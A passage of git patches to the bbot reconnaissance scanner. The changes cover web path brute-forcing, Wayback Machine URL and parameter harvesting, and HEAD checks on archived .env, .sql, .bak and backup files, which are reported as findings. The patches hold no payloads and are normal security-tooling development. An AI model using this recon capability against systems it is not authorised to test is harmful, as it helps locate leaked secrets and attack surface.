{len(configs)} URLs for ext [{ext}]") # Fire all requests via native blasthttp batch (Rust concurrency) - results = await self.helpers.run_in_executor_io( - self.blast_client.request_batch, configs, self.concurrency, rate_limit=self.rate - ) + results = await self.blast_client.request_batch(configs, self.concurrency, rate_limit=self.rate) # Index results by URL for ordered processing results_by_url = {} @@ -367,9 +363,7 @@ async def execute_fuzz( proxy=proxy, ) ] - canary_batch = await self.helpers.run_in_executor_io( - self.blast_client.request_batch, canary_configs, 1, rate_limit=self.rate - ) + canary_batch = await self.blast_client.request_batch(canary_configs, 1, rate_limit=self.rate) if canary_batch and canary_batch[0].success: canary_metrics = self._batch_response_metrics(canary_batch[0].response) if not self._is_baseline_match(canary_metrics, ext_filter): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 89896f3810..49c4bb9b56 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -768,15 +768,13 @@ def modules_status(self, _log=False, detailed=False): ) num_queued_events = self.num_queued_events - io_backlog = self.helpers._io_executor._work_queue.qsize() - cpu_backlog = self.helpers._cpu_executor._work_queue.qsize() if num_queued_events: self.info( - f"{self.name}: {num_queued_events:,} events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds) | Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}" + f"{self.name}: {num_queued_events:,} events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" ) else: self.info( - f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds) | Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}" + f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" ) if detailed or self.log_level <= logging.DEBUG: diff --git a/pyproject.toml b/pyproject.toml index fe4faedcc5..3f6e6c041f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blasthttp>=0.1.4", + "blasthttp>=0.2.0", ] [project.urls] From 719c60e6fd16652959c45481cf14687155783ff6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 00:46:09 -0400 Subject: [PATCH 443/912] clean up stale comment --- bbot/modules/web_brute.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index c4caf796d4..cf5ce9401f 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -347,7 +347,7 @@ async def execute_fuzz( self.debug("Found canary in results, all hits are likely false positives — aborting") return - # Mid-scan validation: one canary check per extension, not per hit + # Mid-scan validation: one canary check per extension if hits and not baseline and ext_filter: canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" From 57b6b3853ee8c0e31c137657ef9309b4f0fd1d51 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 09:46:22 -0400 Subject: [PATCH 444/912] fix missing await in test_batch_rate_limit_min_wins --- bbot/test/test_step_1/test_web_rate_limit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_web_rate_limit.py b/bbot/test/test_step_1/test_web_rate_limit.py index c3c7a20519..fc52290f23 100644 --- a/bbot/test/test_step_1/test_web_rate_limit.py +++ b/bbot/test/test_step_1/test_web_rate_limit.py @@ -80,7 +80,7 @@ async def test_batch_rate_limit_min_wins(bbot_scanner): # If min() works, dispatch should be paced at 10 rps (~400ms for 5 requests) # If global wins, dispatch would be at 100 rps (~40ms for 5 requests) start = time.monotonic() - client.request_batch(configs, concurrency=50, rate_limit=10.0) + await client.request_batch(configs, concurrency=50, rate_limit=10.0) elapsed = time.monotonic() - start # 5 requests at 10 rps = 4 intervals × 100ms = ~400ms minimum From 32b8692728cbfaa0e8800a508bc0f8f643860ad9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 3 Apr 2026 13:35:11 -0400 Subject: [PATCH 445/912] Improve URL event stdout display format Show status code, URL, title, and redirect target instead of raw JSON dict. --- bbot/core/event/base.py | 24 ++++++++++++++++++++++++ bbot/modules/httpx.py | 3 +++ 2 files changed, 27 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 64c30d6abe..f50ae0c77c 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1363,6 +1363,22 @@ def sanitize_data(self, data): def pretty_string(self): return self.url + def _data_human(self): + parts = [] + status = self.http_status + if status: + parts.append(f"[{status}]") + parts.append(self.url) + if status and str(status).startswith("3"): + location = self.data.get("redirect_location", "") + if location: + parts.append(f"-> {location}") + else: + title = self.http_title + if title: + parts.append(f"- [{title}]") + return " ".join(parts) + def add_tag(self, tag): self_url = getattr(self, "parsed_url", "") self_host = getattr(self, "host", "") @@ -1427,6 +1443,14 @@ def http_title(self): def http_title(self, value): self.data["http_title"] = value + @property + def redirect_location(self): + return self.data.get("redirect_location", "") + + @redirect_location.setter + def redirect_location(self, value): + self.data["redirect_location"] = value + class URL(URL_UNVERIFIED): def __init__(self, *args, **kwargs): diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index dd996a2b58..860894015b 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -206,6 +206,9 @@ async def handle_batch(self, *events): title = j.get("title", "") if title: url_event.http_title = title + location = j.get("header", {}).get("location", "") + if location: + url_event.redirect_location = location if url_event != parent_event: await self.emit_event(url_event) # HTTP response From 39d8a5a059b6e044616d302e97e683934f92f693 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 17 Feb 2026 14:02:30 -0500 Subject: [PATCH 446/912] add parameter emmision to wayback --- bbot/modules/wayback.py | 77 +++++++++++++++++-- .../module_tests/test_module_wayback.py | 33 ++++++++ 2 files changed, 105 insertions(+), 5 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 49010f451a..d871bf2631 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,38 +1,72 @@ from datetime import datetime +from urllib.parse import parse_qs, urlparse, urlunparse +from bbot.core.helpers.validators import clean_url from bbot.modules.templates.subdomain_enum import subdomain_enum class wayback(subdomain_enum): flags = ["safe", "passive", "subdomain-enum"] - watched_events = ["DNS_NAME"] - produced_events = ["URL_UNVERIFIED", "DNS_NAME"] + watched_events = ["DNS_NAME", "URL"] + produced_events = ["URL_UNVERIFIED", "DNS_NAME", "WEB_PARAMETER"] meta = { "description": "Query archive.org's API for subdomains", "created_date": "2022-04-01", "author": "@liquidsec", } - options = {"urls": False, "garbage_threshold": 10} + options = {"urls": False, "garbage_threshold": 10, "parameters": False} options_desc = { "urls": "emit URLs in addition to DNS_NAMEs", "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", + "parameters": "emit WEB_PARAMETER events for query parameters discovered in archived URLs (forces urls=true)", } in_scope_only = True base_url = "http://web.archive.org" + url_blacklist = ["_Incapsula_Resource"] async def setup(self): self.urls = self.config.get("urls", False) + self.parameters = self.config.get("parameters", False) + if self.parameters: + self.urls = True self.garbage_threshold = self.config.get("garbage_threshold", 10) + self._parameter_cache = {} return await super().setup() async def handle_event(self, event): + if event.type == "URL": + # use clean_url (always strips query) to match cache key regardless of url_querystring_remove setting + cached = self._parameter_cache.pop(clean_url(event.data).geturl(), None) + if cached is not None: + flat_params, base_url = cached + for param_name, original_value in flat_params.items(): + data = { + "host": str(event.host), + "type": "GETPARAM", + "name": param_name, + "original_value": original_value, + "url": base_url, + "description": f"HTTP Extracted Parameter [{param_name}] (wayback)", + "additional_params": {k: v for k, v in flat_params.items() if k != param_name}, + } + await self.emit_event( + data, + "WEB_PARAMETER", + event, + tags=["from-wayback"], + context=f"{{module}} found query parameter [{param_name}] in archived URL and emitted {{event.type}}", + ) + return + query = self.make_query(event) for result, event_type in await self.query(query): + tags = ["from-wayback"] if event_type == "URL_UNVERIFIED" else [] await self.emit_event( result, event_type, event, + tags=tags, abort_if=self.abort_if, context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) @@ -40,7 +74,14 @@ async def handle_event(self, event): async def query(self, query): results = set() waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" - r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 10) + r = None + for i in range(3): + r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 10) + if r: + break + if i < 2: + self.verbose(f'Error connecting to archive.org for query "{query}", retrying ({i + 1}/2)') + await self.helpers.sleep(2**i) if not r: self.warning(f'Error connecting to archive.org for query "{query}"') return results @@ -61,6 +102,28 @@ async def query(self, query): self.verbose(f"Found {len(urls):,} URLs for {query}") + # pre-extract parameters from raw URLs before collapse strips query strings + raw_url_params = {} + if self.parameters: + for url in urls: + try: + parsed = urlparse(url) + if any(bl in url for bl in self.url_blacklist): + continue + if parsed.query and parsed.hostname and self.scan.in_scope(parsed.hostname): + params = parse_qs(parsed.query) + flat_params = {k: v[0] for k, v in params.items()} + if flat_params: + # key by cleaned URL (always strips query) to match what collapse_urls produces + cleaned = clean_url(url) + cleaned_str = cleaned.geturl() + if cleaned_str not in raw_url_params: + raw_url_params[cleaned_str] = flat_params + else: + raw_url_params[cleaned_str].update(flat_params) + except Exception: + continue + dns_names = set() collapsed_urls = 0 start_time = datetime.now() @@ -80,7 +143,11 @@ async def query(self, query): dns_names.add(h) results.add((dns_name, "DNS_NAME")) else: - results.add((parsed_url.geturl(), "URL_UNVERIFIED")) + url_str = parsed_url.geturl() + results.add((url_str, "URL_UNVERIFIED")) + if self.parameters and url_str in raw_url_params: + base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, "", "", "")) + self._parameter_cache[url_str] = (raw_url_params[url_str], base_url) end_time = datetime.now() duration = self.helpers.human_timedelta(end_time - start_time) self.verbose(f"Collapsed {len(urls):,} -> {collapsed_urls:,} URLs in {duration}") diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 13ddac33fa..21d03038aa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -10,3 +10,36 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + + +class TestWaybackParameters(ModuleTestBase): + module_name = "wayback" + config_overrides = {"modules": {"wayback": {"parameters": True}}} + + async def setup_after_prep(self, module_test): + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + json=[ + ["original"], + ["http://blacklanternsecurity.com/page?foo=bar&baz=qux"], + ], + ) + # mock httpx response for the URL so it becomes a verified URL event + module_test.httpx_mock.add_response(url="http://blacklanternsecurity.com/page?foo=bar&baz=qux") + + def check(self, module_test, events): + assert any(e.type == "URL_UNVERIFIED" and "blacklanternsecurity.com/page" in e.data for e in events), ( + "Failed to emit URL_UNVERIFIED" + ) + assert any( + e.type == "WEB_PARAMETER" and e.data["name"] == "foo" and e.data["original_value"] == "bar" for e in events + ), "Failed to emit WEB_PARAMETER for foo" + assert any( + e.type == "WEB_PARAMETER" and e.data["name"] == "baz" and e.data["original_value"] == "qux" for e in events + ), "Failed to emit WEB_PARAMETER for baz" + # check that additional_params contains sibling params but excludes the current one + for e in events: + if e.type == "WEB_PARAMETER" and e.data["name"] == "foo": + assert e.data["additional_params"] == {"baz": "qux"}, f"foo's additional_params wrong: {e.data['additional_params']}" + if e.type == "WEB_PARAMETER" and e.data["name"] == "baz": + assert e.data["additional_params"] == {"foo": "bar"}, f"baz's additional_params wrong: {e.data['additional_params']}" From 27f140914f3540a671ede5ffcfe1a028d68d77b2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 17 Feb 2026 14:25:13 -0500 Subject: [PATCH 447/912] mods to the wayback parameter extraction --- bbot/modules/wayback.py | 14 +++++++++++-- .../module_tests/test_module_wayback.py | 20 ++++++++++++------- 2 files changed, 25 insertions(+), 9 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index d871bf2631..a0b5a2c03c 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -18,7 +18,7 @@ class wayback(subdomain_enum): options_desc = { "urls": "emit URLs in addition to DNS_NAMEs", "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", - "parameters": "emit WEB_PARAMETER events for query parameters discovered in archived URLs (forces urls=true)", + "parameters": "emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true)", } in_scope_only = True @@ -29,7 +29,17 @@ async def setup(self): self.urls = self.config.get("urls", False) self.parameters = self.config.get("parameters", False) if self.parameters: - self.urls = True + if not self.urls: + self.warning("parameters option requires urls to be enabled") + return False + consumers = [m for m, mod in self.scan.modules.items() if "WEB_PARAMETER" in mod.watched_events] + if not consumers: + self.warning("Disabling parameter extraction because no modules consume WEB_PARAMETER events") + self.parameters = False + else: + self.hugeinfo( + f"Parameter extraction enabled because the following modules consume WEB_PARAMETER events: [{', '.join(consumers)}]" + ) self.garbage_threshold = self.config.get("garbage_threshold", 10) self._parameter_cache = {} return await super().setup() diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 21d03038aa..cd12c0b672 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -14,21 +14,23 @@ def check(self, module_test, events): class TestWaybackParameters(ModuleTestBase): module_name = "wayback" - config_overrides = {"modules": {"wayback": {"parameters": True}}} + modules_overrides = ["wayback", "hunt"] + whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + config_overrides = {"modules": {"wayback": {"urls": True, "parameters": True}}} async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", json=[ ["original"], - ["http://blacklanternsecurity.com/page?foo=bar&baz=qux"], + ["http://127.0.0.1:8888/page?foo=bar&baz=qux"], ], ) - # mock httpx response for the URL so it becomes a verified URL event - module_test.httpx_mock.add_response(url="http://blacklanternsecurity.com/page?foo=bar&baz=qux") + # serve a response on the local httpserver so the httpx binary gets a 200 + module_test.set_expect_requests(expect_args={"uri": "/page"}, respond_args={"response_data": "alive"}) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "blacklanternsecurity.com/page" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "127.0.0.1" in e.data and "/page" in e.data for e in events), ( "Failed to emit URL_UNVERIFIED" ) assert any( @@ -40,6 +42,10 @@ def check(self, module_test, events): # check that additional_params contains sibling params but excludes the current one for e in events: if e.type == "WEB_PARAMETER" and e.data["name"] == "foo": - assert e.data["additional_params"] == {"baz": "qux"}, f"foo's additional_params wrong: {e.data['additional_params']}" + assert e.data["additional_params"] == {"baz": "qux"}, ( + f"foo's additional_params wrong: {e.data['additional_params']}" + ) if e.type == "WEB_PARAMETER" and e.data["name"] == "baz": - assert e.data["additional_params"] == {"foo": "bar"}, f"baz's additional_params wrong: {e.data['additional_params']}" + assert e.data["additional_params"] == {"foo": "bar"}, ( + f"baz's additional_params wrong: {e.data['additional_params']}" + ) From aac96741a3ac148483043a425eb5b3fc18f26bd8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 12:04:24 -0500 Subject: [PATCH 448/912] more features / bug fixes for new wayback --- bbot/core/event/base.py | 14 + bbot/defaults.yml | 1 + bbot/modules/internal/excavate.py | 53 ++- bbot/modules/templates/subdomain_enum.py | 4 +- bbot/modules/wayback.py | 404 ++++++++++++++---- bbot/presets/kitchen-sink.yml | 9 + bbot/presets/wayback-intense.yml | 15 + bbot/presets/wayback.yml | 12 + bbot/presets/web/lightfuzz-heavy.yml | 4 + bbot/presets/web/lightfuzz-max.yml | 4 + .../module_tests/test_module_wayback.py | 392 +++++++++++++++++ 11 files changed, 828 insertions(+), 84 deletions(-) create mode 100644 bbot/presets/wayback-intense.yml create mode 100644 bbot/presets/wayback.yml diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index c010148036..643aec3b92 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1069,6 +1069,19 @@ def _data_load(self, data): class DictHostEvent(DictEvent): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # inherit archive_url from parent for provenance tracking (e.g. wayback archived content) + if isinstance(self.data, dict) and "archive_url" not in self.data: + parent = self.parent + if ( + parent is not None + and parent is not self + and isinstance(parent.data, dict) + and "archive_url" in parent.data + ): + self.data["archive_url"] = parent.data["archive_url"] + def _host(self): if isinstance(self.data, dict) and "host" in self.data: return make_ip_type(self.data["host"]) @@ -1645,6 +1658,7 @@ class _data_validator(BaseModel): full_url: Optional[str] = None path: Optional[str] = None cves: Optional[list[str]] = None + archive_url: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) _validate_severity = field_validator("severity")(validators.validate_severity) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3856a1f644..18abb48dcc 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -261,6 +261,7 @@ parameter_blacklist: - .AspNetCore.Session - PHPSESSID - __cf_bm + - _cfuvid - f5_cspm parameter_blacklist_prefixes: diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7f8c559471..84824ee0e4 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -366,6 +366,34 @@ def in_bl(self, value): return False + def _event_host(self, event): + """Get the effective host from an event, preferring data["host"] over parsed_url. + + HTTP_RESPONSE._host() derives from parsed_url.hostname (i.e. data["url"]), + but data["host"] may be explicitly overridden (e.g. for archived wayback content + where url is archive.org but host is the original target). + """ + if isinstance(event.data, dict) and event.data.get("host"): + return str(event.data["host"]) + return str(event.host) + + def _event_base_url(self, event): + """Reconstruct the effective base URL from event data fields. + + For normal HTTP_RESPONSE events, this matches event.parsed_url. + For archived content (e.g. wayback), the data fields (host/scheme/path) + reflect the original URL while parsed_url comes from the archive URL. + """ + scheme = event.data.get("scheme", event.parsed_url.scheme) + host = self._event_host(event) + port = event.data.get("port") + if port is not None: + port = int(port) + if not ((scheme == "http" and port == 80) or (scheme == "https" and port == 443)): + host = f"{host}:{port}" + path = event.data.get("path", event.parsed_url.path) + return urlparse(f"{scheme}://{host}{path}") + def url_unparse(self, param_type, parsed_url): # Reconstructs a URL, optionally omitting the query string based on remove_querystring configuration value. if param_type == "GETPARAM": @@ -641,8 +669,9 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte # The endpoint is usually a form action - we should use it if we have it. If not, default to URL. else: - # Use the original URL as the base and resolve the endpoint correctly in case of relative paths - base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}{event.parsed_url.path}" + # Use the effective base URL (which may differ from parsed_url for archived content) + event_base = self.excavate._event_base_url(event) + base_url = f"{event_base.scheme}://{event_base.netloc}{event_base.path}" if not self.excavate.remove_querystring and len(event.parsed_url.query) > 0: base_url += f"?{event.parsed_url.query}" url = urljoin(base_url, endpoint) @@ -1000,12 +1029,13 @@ async def emit_custom_parameters(self, event, config_key, param_type, descriptio # Emits WEB_PARAMETER events for custom headers and cookies from the configuration. custom_params = self.scan.web_config.get(config_key, {}) for param_name, param_value in custom_params.items(): + event_base = self._event_base_url(event) await self.emit_web_parameter( - host=event.parsed_url.hostname, + host=self._event_host(event), param_type=param_type, name=param_name, original_value=param_value, - url=self.url_unparse(param_type, event.parsed_url), + url=self.url_unparse(param_type, event_base), description=f"HTTP Extracted Parameter [{param_name}] ({description_suffix})", additional_params=_exclude_key(custom_params, param_name), event=event, @@ -1121,7 +1151,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon if results: for parameter_name, original_value in results: await self.emit_web_parameter( - host=str(event.host), + host=self._event_host(event), param_type="SPECULATIVE", name=parameter_name, original_value=original_value, @@ -1129,7 +1159,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon description=f"HTTP Extracted Parameter (speculative from {source_type} content) [{parameter_name}]", additional_params={}, event=event, - context=f"excavate's Parameter extractor found a speculative WEB_PARAMETER: {parameter_name} by parsing {source_type} data from {str(event.host)}", + context=f"excavate's Parameter extractor found a speculative WEB_PARAMETER: {parameter_name} by parsing {source_type} data from {self._event_host(event)}", ) return @@ -1181,7 +1211,7 @@ async def handle_event(self, event, **kwargs): ) in extract_params_url(event.parsed_url): if self.in_bl(parameter_name) is False: await self.emit_web_parameter( - host=parsed_url.hostname, + host=self._event_host(event), param_type="GETPARAM", name=parameter_name, original_value=original_value, @@ -1215,12 +1245,13 @@ async def handle_event(self, event, **kwargs): if self.in_bl(cookie_name) is False: self.assigned_cookies[cookie_name] = cookie_value + event_base = self._event_base_url(event) await self.emit_web_parameter( - host=str(event.host), + host=self._event_host(event), param_type="COOKIE", name=cookie_name, original_value=cookie_value, - url=self.url_unparse("COOKIE", event.parsed_url), + url=self.url_unparse("COOKIE", event_base), description=f"Set-Cookie Assigned Cookie [{cookie_name}]", additional_params={}, event=event, @@ -1257,10 +1288,10 @@ async def handle_event(self, event, **kwargs): original_value, regex_name, additional_params, - ) in extract_params_location(header_value, event.parsed_url): + ) in extract_params_location(header_value, self._event_base_url(event)): if self.in_bl(parameter_name) is False: await self.emit_web_parameter( - host=parsed_url.hostname, + host=self._event_host(event), param_type="GETPARAM", name=parameter_name, original_value=original_value, diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 3bdcdff07b..ceb341118b 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -171,8 +171,10 @@ async def filter_event(self, event): # reject if it's a cloud resource and not in our target (unless it's a seed event) if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags: return False, "Event is a cloud resource and not a direct target" + # don't reject targets — if the user explicitly targeted a domain, always process it + is_target = event in self.scan.target.whitelist # optionally reject events with wildcards / errors - if self.reject_wildcards: + if self.reject_wildcards and not is_target: if any(t in event.tags for t in ("a-error", "aaaa-error")): return False, "Event has a DNS resolution error" if self.reject_wildcards == "strict": diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index a0b5a2c03c..5f62417a36 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,6 +1,8 @@ +import re from datetime import datetime from urllib.parse import parse_qs, urlparse, urlunparse +from bbot.core.helpers.misc import get_file_extension from bbot.core.helpers.validators import clean_url from bbot.modules.templates.subdomain_enum import subdomain_enum @@ -8,29 +10,40 @@ class wayback(subdomain_enum): flags = ["safe", "passive", "subdomain-enum"] watched_events = ["DNS_NAME", "URL"] - produced_events = ["URL_UNVERIFIED", "DNS_NAME", "WEB_PARAMETER"] + produced_events = ["URL_UNVERIFIED", "DNS_NAME", "WEB_PARAMETER", "HTTP_RESPONSE", "FINDING"] meta = { - "description": "Query archive.org's API for subdomains", + "description": "Query archive.org's Wayback Machine for subdomains, URLs, parameters, and archived content", "created_date": "2022-04-01", "author": "@liquidsec", } - options = {"urls": False, "garbage_threshold": 10, "parameters": False} + options = {"urls": False, "garbage_threshold": 10, "parameters": False, "archive": False} options_desc = { "urls": "emit URLs in addition to DNS_NAMEs", "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", "parameters": "emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true)", + "archive": "fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true)", } in_scope_only = True base_url = "http://web.archive.org" - url_blacklist = ["_Incapsula_Resource"] + url_blacklist = ["_Incapsula_Resource", "/cdn-cgi/"] + + interesting_extensions = frozenset({"zip", "sql", "bak", "env", "config"}) + interesting_compound_extensions = frozenset({"tar.gz", "tar.bz2"}) + + def _is_interesting_file(self, url): + ext = get_file_extension(url) + if ext and ext.lower() in self.interesting_extensions: + return True + lower_url = url.lower() + return any(lower_url.endswith(f".{ce}") for ce in self.interesting_compound_extensions) async def setup(self): self.urls = self.config.get("urls", False) self.parameters = self.config.get("parameters", False) if self.parameters: if not self.urls: - self.warning("parameters option requires urls to be enabled") + self.hugewarning("parameters option requires urls to be enabled. Please add modules.wayback.urls=True") return False consumers = [m for m, mod in self.scan.modules.items() if "WEB_PARAMETER" in mod.watched_events] if not consumers: @@ -40,37 +53,23 @@ async def setup(self): self.hugeinfo( f"Parameter extraction enabled because the following modules consume WEB_PARAMETER events: [{', '.join(consumers)}]" ) + self.archive = self.config.get("archive", False) + if self.archive and not self.urls: + self.hugewarning("archive option requires urls to be enabled. Please add modules.wayback.urls=True") + return False self.garbage_threshold = self.config.get("garbage_threshold", 10) self._parameter_cache = {} + self._archive_cache = {} return await super().setup() async def handle_event(self, event): if event.type == "URL": - # use clean_url (always strips query) to match cache key regardless of url_querystring_remove setting - cached = self._parameter_cache.pop(clean_url(event.data).geturl(), None) - if cached is not None: - flat_params, base_url = cached - for param_name, original_value in flat_params.items(): - data = { - "host": str(event.host), - "type": "GETPARAM", - "name": param_name, - "original_value": original_value, - "url": base_url, - "description": f"HTTP Extracted Parameter [{param_name}] (wayback)", - "additional_params": {k: v for k, v in flat_params.items() if k != param_name}, - } - await self.emit_event( - data, - "WEB_PARAMETER", - event, - tags=["from-wayback"], - context=f"{{module}} found query parameter [{param_name}] in archived URL and emitted {{event.type}}", - ) + await self._handle_url_event(event) return query = self.make_query(event) - for result, event_type in await self.query(query): + results, interesting_files = await self.query(query) + for result, event_type in results: tags = ["from-wayback"] if event_type == "URL_UNVERIFIED" else [] await self.emit_event( result, @@ -81,12 +80,115 @@ async def handle_event(self, event): context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) - async def query(self, query): - results = set() + if interesting_files: + await self._check_interesting_files(interesting_files, event) + + # pair unpaired archive cache entries with their parent DNS_NAME event + if self.archive: + paired = 0 + for url_str in list(self._archive_cache): + if isinstance(self._archive_cache[url_str], str): + self._archive_cache[url_str] = (self._archive_cache[url_str], event) + paired += 1 + if paired: + self.debug(f"Paired {paired} archive cache entries with parent event {event.data}") + + async def _handle_url_event(self, event): + """Process a URL event: evict live URLs from archive cache and emit cached parameters.""" + if self.archive: + status_code = 0 + for tag in event.tags: + if tag.startswith("status-"): + try: + status_code = int(tag.split("-", 1)[1]) + except ValueError: + pass + break + # only 2xx counts as live — 3xx (e.g. http→https 301 to a 404) doesn't confirm the page exists + if 200 <= status_code < 300: + cleaned = clean_url(event.data).geturl() + if self._archive_cache.pop(cleaned, None) is not None: + self.verbose(f"URL is live (status {status_code}), removed from archive cache: {cleaned}") + + cached = self._parameter_cache.pop(clean_url(event.data).geturl(), None) + if cached is not None: + flat_params, base_url = cached + for param_name, original_value in flat_params.items(): + data = { + "host": str(event.host), + "type": "GETPARAM", + "name": param_name, + "original_value": original_value, + "url": base_url, + "description": f"HTTP Extracted Parameter [{param_name}] (wayback)", + "additional_params": {k: v for k, v in flat_params.items() if k != param_name}, + } + self.verbose(f"Emitting WEB_PARAMETER [{param_name}] from archived URL {base_url}") + await self.emit_event( + data, + "WEB_PARAMETER", + event, + tags=["from-wayback"], + context=f"{{module}} found query parameter [{param_name}] in archived URL and emitted {{event.type}}", + ) + + async def _check_interesting_files(self, interesting_files, event): + """HEAD-check interesting archived files and emit FINDINGs for those that exist.""" + self.verbose(f"Checking {len(interesting_files)} interesting archived files") + + # build URL list and mapping back to metadata + url_metadata = {} + for cleaned_url, raw_url in interesting_files.items(): + archive_url = f"{self.base_url}/web/{raw_url}" + url_metadata[archive_url] = (cleaned_url, raw_url) + + gen = self.helpers.request_batch( + list(url_metadata), method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True + ) + async for archive_url, r in gen: + cleaned_url, raw_url = url_metadata[archive_url] + + if not r or r.status_code != 200: + status = getattr(r, "status_code", "no response") if r else "no response" + self.debug(f"Interesting file HEAD check failed for {raw_url}: status={status}") + continue + # guard against soft 404s (archive.org returns text/html for missing pages) + content_type = r.headers.get("content-type", "") + if "text/html" in content_type: + self.debug(f"Interesting file skipped (soft 404): {raw_url}") + continue + + ext = get_file_extension(cleaned_url) + desc = f"Interesting archived file found (.{ext}): {raw_url}" + content_length = r.headers.get("content-length", "") + if content_length: + try: + size = int(content_length) + if size > 1024 * 1024: + desc += f" ({size / (1024 * 1024):.1f} MB)" + elif size > 1024: + desc += f" ({size / 1024:.1f} KB)" + else: + desc += f" ({size} bytes)" + except ValueError: + pass + + self.verbose(f"Interesting archived file confirmed: {raw_url}") + parsed = urlparse(raw_url) + await self.emit_event( + {"description": desc, "url": str(r.url), "host": str(parsed.hostname or "")}, + "FINDING", + event, + tags=["from-wayback", "archived", "interesting-file"], + context=f"{{module}} found interesting archived file: {raw_url}", + ) + + async def _fetch_cdx(self, query): + """Fetch URLs from the CDX API with retries. Returns the URL list or None on failure.""" waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" r = None for i in range(3): - r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 10) + r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 30) if r: break if i < 2: @@ -94,71 +196,229 @@ async def 